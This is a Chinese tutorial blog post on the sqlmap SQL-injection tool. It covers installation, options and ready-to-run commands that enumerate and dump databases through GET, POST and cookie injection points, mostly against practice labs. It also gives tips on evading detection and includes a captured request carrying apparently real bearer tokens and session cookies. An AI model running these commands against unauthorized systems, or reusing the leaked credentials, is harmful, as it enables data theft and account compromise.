sqlmap 是一个自动化的 sql 注入渗透工具

发布时间:2024年01月22日

一.介绍

sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。

SQLmap 支持多种数据库管理系统,包括
MySQL、Oracle、PostgreSQL、Microsoft SQL Server
等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap
被广泛应用于渗透测试、安全研究、教育等领域。

SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。

为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。

二.安装 sqlmap

1.创建目录cd /usr/binmkdir sqlmap-dev

2.拉取代码git clone https://github.com/sqlmapproject/sqlmap.git
3.配置vim ~/.bash_profilesource ~/.bash_profile

alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py'

4.验证安装sqlmap #查看版本salmap?-v??#查看版本

三.使用

1.参数说明
 
-u  指定URL-p  指定参数-v  指定显示级别--dbs  目标服务器中的数据库--current-db  当前数据库--tables  目标数据库有什么表--columns  目标表中有什么列--dump  获取数据--batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值--dbms  指定数据库类型--current-user  查看当前用户--users  查看所有用户--passwords  数据库密码--hostname  系统名称--banner  数据库信息--roles??数据库用户角色
level 和 risk

在 SQLmap 中,levelrisk是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。level选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。默认值为 1,表示最浅层的检测。risk选项用于指定检测和利用的风险程度,取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。在使用 SQLmap 时,根据实际情况选择合适的levelrisk选项,可以提高检测和利用的效率和成功率,同时避免对目标系统造成过多的影响和损害。

需要注意的是,levelrisk选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。

Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,HTTP cookie在 level 为 2 时就会测试,HTTP User-Agent/Referer头在 level 为 3 时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5

sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级

如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:

 
sqlmap?-u?"http://xxx:7777/Less-1/"?--level=5?--risk=3
2.get 方法
1.判断是否有注入点
 
sqlmap?-u?"目标url"
2.查看数据库???????
sqlmap -u "目标_url" --dbs --dbms mysql
--dbms=DBMS?#指定目标数据库类型
3.当前数据库
sqlmap?-u?"目标_url"?--current-db?--dbms?mysql
4.字段获取
?sqlmap?-u?"目标url"?-D?库名?-T?表名?--columns
5.指定字段内容???????
 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump     -C COL 指定从某个列查询数据    --dump 查询指定范围的全部数据        (对加密的密码进行彩虹表攻击)
6.样例
 
sqlmap.py?-u?"http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"?--cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755"?--batch
3.post 方式
1.保存参数

post.txt???????

POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1Host: xxx-uat.net.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2brandDetailNo: BS01application: commandAuthorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaMuid: rongdiContent-Type: application/json;charset=utf-8silent: trueContent-Length: 310Origin: https://xxx-uat.net.cnConnection: closeReferer: https://xxx-uat.net.cn/test/command/bs01/Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefinedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}
2.执行
 
sqlmap?-r?/Users/qinyingjie/Downloads/post2.txt?-p?"categoryname1"?--level?5?--risk?3?--batch
3.查询结果

图片

四.常用

1.查询库名
python?sqlmap.py?-u?"http://rhiq8003.ia.aqlab.cn/?id=1"?--dbs
2.查询表

-D 指定库名

 
python?sqlmap.py?-u?"http://rhiq8003.ia.aqlab.cn/?id=1"?-D?maoshe?--tables
3.查询列
 
python?sqlmap.py?-u?"http://rhiq8003.ia.aqlab.cn/?id=1"?-D?maoshe?-T?admin?--columns
4.查询列值

吃牢饭指令

 
python?sqlmap.py?-u?"http://rhiq8003.ia.aqlab.cn/?id=1"?-D?maoshe?-T?admin?-C?pa
文章来源:https://blog.csdn.net/davice_li/article/details/135743668
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。